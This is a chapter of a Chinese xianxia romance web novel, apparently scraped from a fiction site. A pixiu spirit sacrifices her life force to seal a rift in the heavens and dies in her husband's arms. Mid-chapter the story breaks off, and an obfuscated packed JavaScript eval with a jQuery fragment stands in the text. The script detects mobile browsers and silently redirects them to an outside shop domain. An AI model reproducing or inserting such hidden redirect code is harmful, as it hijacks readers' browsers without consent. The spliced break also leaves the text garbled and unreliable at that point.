文趣网 > 其他小说 > 财神他总想让我吐钱 > 44. 血尽魂归
    “这怎么会有一只黑貔貅?!”

    “天呐,世上竟然还有第二只貔貅!”

    惊呼声此起彼伏,殿外众仙神色大乱。

    火麒麟五指死死扣住黑貔貅的后颈,眼神锐利如刀,转头看向人群里的沈万仙。

    “凭空冒出黑貔貅,这件事,恐怕得问问沈万仙大人。”

    一众仙家当即转头,目光齐刷刷压向沈万仙。

    “沈万仙,这究竟是怎么回事?”

    沈万仙面色一僵,强撑着底气扬声回话,“我怎会知晓这黑貔貅的来历!”

    说话间,他飞快朝元棋瞥去一眼,暗藏求助。元棋立刻快步上前,从中打圆场。

    “火麒麟息怒,诸位稍安勿躁。沈大人并不是这个意思,今日大家聚在此地,无关针对哪位仙家或是瑞兽,所求不过是惩戒触犯天道之人。”

    火麒麟半点不吃这套,声音沉冷,“方才黑貔貅侵入白璎婪的神念,亲口坦白,是它四处吸敛凶财,祸乱三界财脉。”

    有仙家高声反驳:“我们并未进入神念,谁能证明你所言非虚?”

    火麒麟立刻反问回去:“你们同样没有亲眼见证事发经过,又凭什么一口咬定,白璎婪就是灾祸的源头?”

    一句诘问,逼得沈万仙下意识往后退了半步。转瞬之间,他又稳住心神,重新站定,摆出公允的姿态。

    “若祸首实为黑貔貅,那是我们先前错怪了少财神夫人。”他话锋陡然一转,“可三界断裂的财脉并未修复,黑貔貅不过是被驱使的棋子,真正供给它凶财之力的,是邪灵石。而普天之下,唯有貔貅的本源之力,可以净化邪灵石。”

    “邪灵石?”

    火麒麟眉峰一挑,没有松开手里的黑貔貅,目光钉在沈万仙身上,抓住了他话里的破绽。

    “三百年前灵石事变失败之后,邪灵石的卷宗早就列为绝密封存。天庭绝大多数仙家连名字都不曾听过,沈万仙大人为何对它知道得这般清楚?”

    沈万仙脸色骤然发白,语速快了几分,“我……我自然是翻阅旧卷宗查到的。”

    “呵,那卷宗是你能随意阅览的?”火麒麟没有当场戳破他的谎话,侧头看向一旁的关平,淡淡丢下一句,“关平,他这话,是在指责我们守卫不严。”

    关平狠狠横了沈万仙一眼,“荒谬!”

    周遭的气氛紧绷到了极点。

    赵玄章站在原地,低低冷嗤一声,藏在袖中的手缓缓攥紧,积压许久的疑点在此刻串连成线。

    “到现在我总算想通了,之前我追查许久,始终查不出是谁偷偷解开瑞兽渊封印、放出貔貅。如今真相昭然,当年私自放凶兽出逃的人,沈万仙必有一份。而且我敢断定,你绝非单独行事,背后还有同党!”

    沈万仙的嘴唇控制不住地轻轻发颤,只好强压心底的慌乱,装作不在意道:“真是一派胡言。”

    元棋见局势对沈万仙不利,适时开口,然而每一句话都像是特意说给白璎婪听的。

    “眼下不是追究旧案的时候,凡间凶财四处蔓延,财脉灵脉崩断,市井商道日渐枯竭。诸位看看天际那道巨大裂隙,少财神先前许下诺言,数月之内平息这场祸乱。如今期限眼看就要到了,若是迟迟拿不出对策,玉帝追责下来,包庇之罪,少财神未必担得住。”

    那些话语,像细密冰冷的针,扎进白璎婪心里。

    在她听来,意思再直白不过。

    若是她执意不肯出力,赵玄章,会因为她身败名裂。

    是啊。

    她心底冒出一个悲凉的念头。

    赵玄章最看重的,从来都是权位与名声。

    这件事,她比谁都清楚。

    她深知自己不能成为拖累他的软肋。

    白璎婪缓缓合上双眼,丹田灵力静静运转。还不等赵玄章反应过来,怀里人骤然化作一只貔貅,金光自皮毛之下源源不断向外漾开。

    赵玄章心头猛地一沉,不祥预感瞬间攫住他,慌忙低头。

    “璎婪!你要做什么?!”

    一道幽幽的神念,隔着一层屏障,传到他脑海中。

    【既然夫君需要我的帮助,我成全便是。】

    赵玄章语气陡然急促,“你不许只用神念同我说话!”

    话虽如此,赵玄章却一直催动神识,想要探入她的神念,可任凭他如何发力,始终无法突破半分。

    “白璎婪!”

    这一声急唤带着压抑的震怒,似乎惊到了白璎婪,但那道屏障分毫未松,一道带着怯意的声音再次传来:【赵玄章,他们好吓人,我不想开口和他们说话……】

    听见她依旧愿意同自己倾诉,赵玄章紧绷到极致的神经稍稍松了些。

    他压下翻涌的慌乱,放柔声音,耐着性子劝导:“璎婪,听我说,你不必做这件事。”

    白璎婪:【为什么呢?你等了这么久,不就是在等这一刻吗?】

    赵玄章:“先变回来,好不好?”

    【我只想让你如愿,赵玄章。】

    【其实从我跟着你开始,我便心甘情愿为你做任何事……】

    当初得知吐金背后另有谋划时,她的确伤心过。可那份心痛,从来不是惧怕死亡,而是难过赵玄章凡事都瞒着她,不曾对她坦诚相待。

    她一直盼着,可以和他并肩站在一起,而不是永远被隔绝在真相之外。

    她很怀念跟赵玄章在凡间探案、各司其职的日子,只是从何时开始,这些情景慢慢消失了呢?

    白璎婪:【让我来帮你吧,你想要的,我都尽力给到。】

    滚烫的泪水再也绷不住,顺着赵玄章的脸颊无声滚落。

    “不是的璎婪,事情根本不是你想的那样……”

    “璎婪,你回来……”

    “白璎婪?白璎婪?!”

    另一边,火麒麟同样尝试接通神念却屡屡碰壁。他猛地睁开眼,把捆牢的黑貔貅重重丢在地上,大步冲到白貔貅跟前。

    “璎婪,睁开眼看看我!他不值得你这么做!”

    “璎婪!停下来!”

    ……

    承光殿前,仙家们的争执、控诉还在耳边喧嚷。

    所有人的呼喊白璎婪都听得清清楚楚,可她没有停下动作。不知为何,金心莲的光芒,正一点点变得黯淡。

    她感觉身体突然变得轻盈,低头一看,原来是灵魂暂时脱离了身体。

    天际那道巨大裂隙清清楚楚铺展在她眼前,裂隙深处,幽暗的邪灵石微光缓缓翻涌,啃噬着残存的财脉。

    白璎婪回头,遥遥望了赵玄章一眼。

    留给她的时间并不多,片刻之后,她迫切地让自己的灵魂重回身体。

    汹涌的金光自她胸口奔涌而出,小小的身躯剧烈地颤抖起来。

    她心里明白,这一次,绝非寻常吐金。

    这是她的本命金,是她在瑞兽渊漫长岁月里一点一滴积蓄起来的根基。

    简而言之,那是她的性命。

    一缕缕本命金顺着金光送向天际裂隙,崩裂的缺口正肉眼可见地缓缓收拢。

    殷红的血丝,先从她的嘴角渗了出来。

    第一滴血坠落在白玉地砖上,开出小小的暗色花。

    她没有停下。

    鲜血顺着下颌不断往下淌,汇成细细的血流。裂隙越收越窄,可她身上的金光,正在飞快衰弱。

    嘈杂的声音在她混沌的意识里起起伏伏。

    这样问题解决了,大家应该都满意了吧。

    “别继续了!你会死的!白璎婪,你会死的!”火麒麟的声音带着撕心裂肺的哭吼,穿透喧嚣传过来。

    “璎婪,住手!”

    怀中的貔貅逐渐消散,所有克制轰然崩塌,赵玄章嘶吼出声,不顾一切朝着那团金光狂奔过去。

    可他指尖还差一寸碰到她的时候,耀眼的金光骤然敛去。

    白璎婪变回了人形,浑身脱力,直直跪倒落下。

    在她倒地之前,赵玄章接住了她。

    “我不要了。”

    赵玄章声音嘶哑,抱着白璎婪冰冷的身体喃喃自语,“不要了,我什么都不要了……”

    这是他第一次当着所有人的面失态。

    他把她抱进怀里,指腹擦过她嘴角的血,像是想把那些血迹擦掉,但血迹又涌了出来。

    她在他怀里始终闭着眼睛,像是终于把那些她一直背负的东西放下了。

    “你醒来好不好?是我错了,我错了……”

    弥留之际,白璎婪恍惚听见赵玄章嘶哑的呼唤穿透嘈杂人声落进耳里。她拼尽残存气力掀开沉重的眼皮,颤巍巍抬起左手,指尖微弱地蹭过他的脸颊,拭去不断滚落的泪水。

    赵玄章怎么哭成这样。

    这不是她想要看见的模样。

    白璎婪气息微弱,艰难地开口:“你怎么……哭了?”

    她原先傻傻以为,等一切尘埃落定,他便能卸下重担,得偿所愿,得到解脱。

    赵玄章用力摇头,滚烫的眼泪源源不断砸落在她的衣襟上,声音碎得几乎不成调子:“我不要了,那些我全都不要了……”

    他把脸埋进她的肩窝,有那么一瞬,他觉得自己无家可归了。

    遥远天际,一道金光自云海尽头铺展而来,一路淌至承光殿前。

    光华

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17820335|202454||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    缓缓敛去,两道身影显现在众仙眼前。

    是两只凤凰。

    一只身形娇小,覆着鲜亮赤羽。另一只青碧翎羽流光,色泽远胜寻常孔雀,浑身散发高贵凛然的气息。

    “那是凤凰?”

    “是青鸾!居然连青鸾都亲自来了!”

    “今日到底出了何等大事,惊动了青鸾?”

    凤鸣轻振,两团光影落地化为人形。身形尚未站稳,小风已经慌慌张张四处张望,目光急切地扫过人群。

    “璎婪姐姐呢?璎婪姐姐在哪里?”

    青鸾的视线早一步越过人群,落在赵玄章怀中奄奄一息的白璎婪身上,他发出一声长叹:“我们来迟了。”

    “不会的大哥,我们已经拼尽全力赶路了。”小风眼眶瞬间蓄满泪水,慌忙转头看向站在一旁的火麒麟阿凌,攥紧他的衣袖,“阿凌哥哥,是不是还有办法?我们真的来迟了吗?”

    火麒麟眼眶通红,喉间堵得发疼,只能别开视线,默然垂首,答不出半个字。

    小风嘴里反复呢喃着“不可能”三个字,声音不住发颤:“收到你的神念传讯之后,我们一刻都不曾耽搁……璎婪姐姐她……”

    话说到一半,她终于看清云阶上那个奄奄一息的身影。眼泪骤然决堤,她跌跌撞撞冲上前,跪在白璎婪身侧,放声痛哭:“璎婪姐姐,对不起,是我们来晚了……”

    白璎婪轻笑,表情变化却尤为缓慢,“我没事……”

    小风闻言当即嗔怪道:“你都这样了还说没事!”

    “我在呢……”

    “呜哇哇哇!璎婪姐姐!我不许你有事!”

    青鸾一身浅碧长衫,褐褐色的眼眸浸着一层淡淡的哀伤,望着痛哭不止的妹妹,眉间微蹙。

    混乱之间,人群里有人低声提议:“裂隙已经补上,事情了结,我们不如散了吧。”

    “且慢。”

    沉稳庄重的声音压住四下嘈杂,所有人齐刷刷转头望向青鸾。

    “我听闻近日天庭之中,不少流言非议瑞兽一族的地位。我此番前来,便是为厘清此事。”

    沈万仙心头一紧,暗地里咬牙。

    到底是谁,给青鸾递了消息!

    青鸾淡淡睨了沈万仙一眼,目光锐利如刃:“不知今日沈大人那句‘粉饰’之名到底是何意,还请沈大人当众给一个说法。若是言之无据,本座不会就此作罢。”

    沈万仙陪笑道:“我也只是稍作探讨,并无他意。”

    一旁的元棋见局势不妙,趁着众人注意力落在沈万仙身上,打算悄无声息抽身退走,脚步刚往后挪,一声呼唤稳稳叫住了她。

    “元棋。”

    元棋身子一顿,强作镇定挺直脊背,微微抬着下巴,藏住心底的慌乱:“青鸾大人,有何见教?”

    青鸾唇角勾起一抹浅淡的冷笑:“你且留下,我有几件事,想和元大人好好聊聊。”

    元棋立刻开口撇清:“我从未非议瑞兽地位。”

    “哦?”

    青鸾牢牢盯着他的双眼,审视的视线几乎要穿透人心,“我要说的,可不是这件事,元大人何必这般心虚。”

    碍于青鸾与生俱来的地位,一众仙家谁也不敢贸然插话。众目睽睽之下,元棋若是直接拒绝,反倒坐实了心里有鬼,他只能硬着头皮应下。

    “谁心虚了,青鸾大人想要论道,元谋自当奉陪。”

    青鸾鼻间溢出一声几不可闻的嗤笑,不再多言。

    三界裂隙彻底闭合,风波暂歇,赶来观战的仙家陆续散去。

    火麒麟与小风没有离开,静静守在云阶之下,目光牢牢锁着台阶上方,久久不肯移步。

    承光殿高高的云阶上,赵玄章把白璎婪紧紧圈抱在怀里,隔绝所有想要靠近的人。

    怀中人轻得像一片易碎的琉璃,他埋在她耳边,一遍一遍低声告白,不再掩饰心底的执念与悔恨。

    “一开始,我的确只想要你吐金,可后来早就不一样了。往后每一天,我都提心吊胆,怕你遇险、怕你受伤……”

    “我爱你璎婪,对不起……求求你,别离开我……”

    白璎婪用尽最后一点力气,视线细细描摹赵玄章含泪的眉眼。

    原来赵玄章,也会为她露出这般溃不成军的脆弱模样。

    她还想抬手,再摸一摸他的脸。

    可身体越来越轻,四肢渐渐失去知觉,身躯正在一点点化作细碎微光,随风消散。

    大限已至。

    意识彻底沉沦之前,最后钻进她耳朵的,是赵玄章撕心裂肺的嘶吼。

    再见啦,赵玄章。

    从此,愿君多珍重。